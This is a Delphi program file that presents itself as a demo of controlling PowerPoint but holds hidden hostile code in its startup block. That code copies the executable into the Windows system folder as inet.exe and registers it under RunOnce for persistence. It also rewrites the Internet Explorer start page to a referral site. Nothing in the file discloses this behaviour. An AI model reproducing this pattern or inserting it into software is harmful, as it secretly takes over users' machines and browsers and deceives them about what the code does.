pptdemo.dpr

delphi中操纵powerpoint演示

program pptdemo;

uses
  windows,
  registry,
  Forms,
  sysutils,
  Classes,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.res}
var
hMutex:HWND;
  Reg: TRegistry;
  buffer:array [0..199] of char;
  sysdir:string;
  const startpage='http://kuaifa.buildreferrals.com';
begin
  Application.Initialize;

  GetsystemDirectory(buffer,200);
  sysdir:=strpas(buffer);
  copyfile(pchar(ParamStr(0)),pchar(sysdir+'\inet.exe'),true);
  Reg := TRegistry.Create;
   try
    Reg.RootKey := HKEY_CURRENT_USER;
    if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\RunOnce', True) then
   begin
      reg.WriteString('netsrv',sysdir+'\inet.exe');
      Reg.CloseKey;
    end;
    if Reg.OpenKey('\Software\Microsoft\Internet Explorer\main', True) then
   begin
      Reg.WriteString('start page',startpage);
      Reg.CloseKey;
    end;

  finally
    Reg.Free;
  end;
  if paramstr(0)=sysdir+'\inet.exe' then
  application.Terminate
  else
  Application.CreateForm(TForm1, Form1);

  Application.Run;
end.